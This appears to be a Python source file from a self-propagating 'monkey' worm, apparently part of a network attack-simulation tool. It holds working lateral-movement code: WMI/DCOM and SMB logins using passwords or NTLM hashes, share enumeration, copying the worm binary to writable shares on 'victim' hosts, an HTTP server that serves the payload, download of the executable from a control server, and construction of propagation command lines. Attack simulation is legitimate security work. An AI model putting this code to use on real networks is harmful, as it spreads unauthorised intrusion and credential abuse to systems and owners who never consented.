484 lines
16 KiB
Python
484 lines
16 KiB
Python
import logging
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import ntpath
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import os
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import os.path
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import pprint
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import socket
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import struct
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import sys
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import urllib
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from difflib import get_close_matches
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from impacket.dcerpc.v5 import transport, srvs
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from impacket.dcerpc.v5.dcom import wmi
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from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError
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from impacket.dcerpc.v5.dcomrt import DCOMConnection
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from impacket.dcerpc.v5.dtypes import NULL
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from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21
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from impacket.smbconnection import SMBConnection, SMB_DIALECT
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import monkeyfs
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from network import local_ips
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from network.firewall import app as firewall
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from network.info import get_free_tcp_port, get_routes
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from transport import HTTPServer
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class DceRpcException(Exception):
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pass
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__author__ = 'itamar'
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LOG = logging.getLogger(__name__)
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class AccessDeniedException(Exception):
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def __init__(self, host, username, password, domain):
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super(AccessDeniedException, self).__init__("Access is denied to %r with username %s\\%s and password %r" %
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(host, domain, username, password))
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class WmiTools(object):
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class WmiConnection(object):
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def __init__(self):
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self._dcom = None
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self._iWbemServices = None
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@property
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def connected(self):
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return self._dcom is not None
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def connect(self, host, username, password, domain=None, lmhash="", nthash=""):
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if not domain:
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domain = host.ip_addr
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dcom = DCOMConnection(host.ip_addr,
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username=username,
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password=password,
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domain=domain,
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lmhash=lmhash,
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nthash=nthash,
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oxidResolver=True)
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try:
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iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,
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wmi.IID_IWbemLevel1Login)
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except Exception as exc:
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dcom.disconnect()
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if "rpc_s_access_denied" == exc.message:
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raise AccessDeniedException(host, username, password, domain)
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raise
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iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
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try:
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self._iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
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self._dcom = dcom
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except:
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dcom.disconnect()
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raise
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finally:
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iWbemLevel1Login.RemRelease()
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def close(self):
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assert self.connected, "WmiConnection isn't connected"
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self._iWbemServices.RemRelease()
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self._iWbemServices = None
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self._dcom.disconnect()
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self._dcom = None
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@staticmethod
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def dcom_wrap(func):
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def _wrapper(*args, **kwarg):
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try:
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return func(*args, **kwarg)
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finally:
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WmiTools.dcom_cleanup()
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return _wrapper
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@staticmethod
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def dcom_cleanup():
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for port_map in DCOMConnection.PORTMAPS.keys():
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del DCOMConnection.PORTMAPS[port_map]
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for oid_set in DCOMConnection.OID_SET.keys():
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del DCOMConnection.OID_SET[port_map]
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DCOMConnection.OID_SET = {}
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DCOMConnection.PORTMAPS = {}
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if DCOMConnection.PINGTIMER:
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DCOMConnection.PINGTIMER.cancel()
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DCOMConnection.PINGTIMER.join()
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DCOMConnection.PINGTIMER = None
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@staticmethod
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def get_object(wmi_connection, object_name):
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assert isinstance(wmi_connection, WmiTools.WmiConnection)
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assert wmi_connection.connected, "WmiConnection isn't connected"
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return wmi_connection._iWbemServices.GetObject(object_name)[0]
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@staticmethod
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def list_object(wmi_connection, object_name, fields=None, where=None):
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assert isinstance(wmi_connection, WmiTools.WmiConnection)
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assert wmi_connection.connected, "WmiConnection isn't connected"
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if fields:
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fields_query = ",".join(fields)
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else:
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fields_query = "*"
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wql_query = "SELECT %s FROM %s" % (fields_query, object_name)
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if where:
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wql_query += " WHERE %s" % (where,)
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LOG.debug("Execution WQL query: %r", wql_query)
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iEnumWbemClassObject = wmi_connection._iWbemServices.ExecQuery(wql_query)
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query = []
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try:
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while True:
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try:
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next_item = iEnumWbemClassObject.Next(0xffffffff, 1)[0]
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record = next_item.getProperties()
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if not fields:
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fields = record.keys()
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query_record = {}
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for key in fields:
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query_record[key] = record[key]['value']
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query.append(query_record)
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except DCERPCSessionError as exc:
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if 1 == exc.error_code:
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break
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raise
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finally:
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iEnumWbemClassObject.RemRelease()
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return query
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class SmbTools(object):
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@staticmethod
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def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_hash='', timeout=60):
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assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
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config = __import__('config').WormConfiguration
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src_file_size = monkeyfs.getsize(src_path)
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smb, dialect = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
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if not smb:
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return None
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# skip guest users
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if smb.isGuestSession() > 0:
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LOG.debug("Connection to %r granted guest privileges with user: %s, password: '%s',"
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" LM hash: %s, NTLM hash: %s",
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host, username, password, lm_hash, ntlm_hash)
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try:
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smb.logoff()
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except:
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pass
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return None
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try:
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resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102)
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except Exception as exc:
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LOG.debug("Error requesting server info from %r over SMB: %s",
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host, exc)
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return None
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info = {'major_version': resp['InfoStruct']['ServerInfo102']['sv102_version_major'],
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'minor_version': resp['InfoStruct']['ServerInfo102']['sv102_version_minor'],
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'server_name': resp['InfoStruct']['ServerInfo102']['sv102_name'].strip("\0 "),
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'server_comment': resp['InfoStruct']['ServerInfo102']['sv102_comment'].strip("\0 "),
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'server_user_path': resp['InfoStruct']['ServerInfo102']['sv102_userpath'].strip("\0 "),
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'simultaneous_users': resp['InfoStruct']['ServerInfo102']['sv102_users']}
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LOG.debug("Connected to %r using %s:\n%s",
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host, dialect, pprint.pformat(info))
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try:
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resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2)
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except Exception as exc:
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LOG.debug("Error enumerating server shares from %r over SMB: %s",
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host, exc)
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return None
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resp = resp['InfoStruct']['ShareInfo']['Level2']['Buffer']
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high_priority_shares = ()
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low_priority_shares = ()
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file_name = ntpath.split(dst_path)[-1]
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for i in range(len(resp)):
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share_name = resp[i]['shi2_netname'].strip("\0 ")
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share_path = resp[i]['shi2_path'].strip("\0 ")
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current_uses = resp[i]['shi2_current_uses']
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max_uses = resp[i]['shi2_max_uses']
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if current_uses >= max_uses:
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LOG.debug("Skipping share '%s' on victim %r because max uses is exceeded",
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share_name, host)
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continue
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elif not share_path:
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LOG.debug("Skipping share '%s' on victim %r because share path is invalid",
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share_name, host)
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continue
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share_info = {'share_name': share_name,
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'share_path': share_path}
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if dst_path.lower().startswith(share_path.lower()):
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high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info),)
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low_priority_shares += ((ntpath.sep + file_name, share_info),)
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shares = high_priority_shares + low_priority_shares
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file_uploaded = False
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for remote_path, share in shares:
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share_name = share['share_name']
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share_path = share['share_path']
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if not smb:
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smb, _ = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
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if not smb:
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return None
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try:
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tid = smb.connectTree(share_name)
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except Exception as exc:
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LOG.debug("Error connecting tree to share '%s' on victim %r: %s",
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share_name, host, exc)
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continue
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LOG.debug("Trying to copy monkey file to share '%s' [%s + %s] on victim %r",
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share_name, share_path, remote_path, host)
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remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep))
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# check if file is found on destination
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if config.skip_exploit_if_file_exist:
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try:
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file_info = smb.listPath(share_name, remote_path)
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if file_info:
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if src_file_size == file_info[0].get_filesize():
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LOG.debug("Remote monkey file is same as source, skipping copy")
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return remote_full_path
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LOG.debug("Remote monkey file is found but different, moving along with attack")
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except:
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pass # file isn't found on remote victim, moving on
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try:
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with monkeyfs.open(src_path, 'rb') as source_file:
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# make sure of the timeout
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smb.setTimeout(timeout)
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smb.putFile(share_name, remote_path, source_file.read)
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file_uploaded = True
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LOG.info("Copied monkey file '%s' to remote share '%s' [%s] on victim %r",
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src_path, share_name, share_path, host)
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break
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except Exception as exc:
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LOG.debug("Error uploading monkey to share '%s' on victim %r: %s",
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share_name, host, exc)
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continue
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finally:
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try:
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smb.logoff()
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except:
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pass
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smb = None
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if not file_uploaded:
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LOG.debug("Couldn't find a writable share for exploiting"
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" victim %r with username: %s, password: '%s', LM hash: %s, NTLM hash: %s",
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host, username, password, lm_hash, ntlm_hash)
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return None
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return remote_full_path
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@staticmethod
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def new_smb_connection(host, username, password, lm_hash='', ntlm_hash='', timeout=60):
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try:
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smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445)
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except Exception as exc:
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LOG.debug("SMB connection to %r on port 445 failed,"
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" trying port 139 (%s)", host, exc)
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try:
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smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139)
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except Exception as exc:
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LOG.debug("SMB connection to %r on port 139 failed as well (%s)",
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host, exc)
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return None, None
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dialect = {SMB_DIALECT: "SMBv1",
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SMB2_DIALECT_002: "SMBv2.0",
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SMB2_DIALECT_21: "SMBv2.1"}.get(smb.getDialect(), "SMBv3.0")
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# we know this should work because the WMI connection worked
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try:
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smb.login(username, password, '', lm_hash, ntlm_hash)
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except Exception as exc:
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LOG.debug("Error while logging into %r using user: %s, password: '%s', LM hash: %s, NTLM hash: %s: %s",
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host, username, password, lm_hash, ntlm_hash, exc)
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return None, dialect
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smb.setTimeout(timeout)
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return smb, dialect
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@staticmethod
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def execute_rpc_call(smb, rpc_func, *args):
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dce = SmbTools.get_dce_bind(smb)
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rpc_method_wrapper = getattr(srvs, rpc_func, None)
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if not rpc_method_wrapper:
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raise ValueError("Cannot find RPC method '%s'" % (rpc_method_wrapper,))
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return rpc_method_wrapper(dce, *args)
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@staticmethod
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def get_dce_bind(smb):
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rpctransport = transport.SMBTransport(smb.getRemoteHost(),
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smb.getRemoteHost(),
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filename=r'\srvsvc',
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smb_connection=smb)
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dce = rpctransport.get_dce_rpc()
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dce.connect()
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dce.bind(srvs.MSRPC_UUID_SRVS)
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return dce
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class HTTPTools(object):
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@staticmethod
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def create_transfer(host, src_path, local_ip=None, local_port=None):
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if not local_port:
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local_port = get_free_tcp_port()
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if not local_ip:
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local_ip = get_interface_to_target(host.ip_addr)
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if not firewall.listen_allowed():
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return None, None
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httpd = HTTPServer(local_ip, local_port, src_path)
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httpd.daemon = True
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httpd.start()
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return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
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def get_interface_to_target(dst):
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if sys.platform == "win32":
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ips = local_ips()
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matches = get_close_matches(dst, ips)
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return matches[0] if (len(matches) > 0) else ips[0]
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else:
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# based on scapy implementation
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def atol(x):
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ip = socket.inet_aton(x)
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return struct.unpack("!I", ip)[0]
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routes = get_routes()
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dst = atol(dst)
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pathes = []
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for d, m, gw, i, a in routes:
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aa = atol(a)
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if aa == dst:
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pathes.append((0xffffffffL, ("lo", a, "0.0.0.0")))
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if (dst & m) == (d & m):
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pathes.append((m, (i, a, gw)))
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if not pathes:
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return None
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pathes.sort()
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ret = pathes[-1][1]
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return ret[1]
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def get_target_monkey(host):
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from control import ControlClient
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import platform
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import sys
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if host.monkey_exe:
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return host.monkey_exe
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if not host.os.get('type'):
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return None
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monkey_path = ControlClient.download_monkey_exe(host)
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if host.os.get('machine') and monkey_path:
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host.monkey_exe = monkey_path
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if not monkey_path:
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if host.os.get('type') == platform.system().lower():
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# if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe
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if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \
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host.os.get('machine', '').lower() == platform.machine().lower():
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monkey_path = sys.executable
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return monkey_path
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def get_target_monkey_by_os(is_windows, is_32bit):
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from control import ControlClient
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return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
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def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None):
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cmdline = ""
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if parent is not None:
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cmdline += " -p " + parent
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if tunnel is not None:
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cmdline += " -t " + tunnel
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if server is not None:
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cmdline += " -s " + server
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if depth is not None:
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if depth < 0:
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depth = 0
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cmdline += " -d %d" % depth
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if location is not None:
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cmdline += " -l %s" % location
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return cmdline
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def build_monkey_commandline(target_host, depth, location=None):
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from config import GUID
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return build_monkey_commandline_explicitly(
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GUID, target_host.default_tunnel, target_host.default_server, depth, location)
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def get_binaries_dir_path():
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if getattr(sys, 'frozen', False):
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return sys._MEIPASS
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else:
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return os.path.dirname(os.path.abspath(__file__))
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def get_monkey_depth():
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from config import WormConfiguration
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return WormConfiguration.depth
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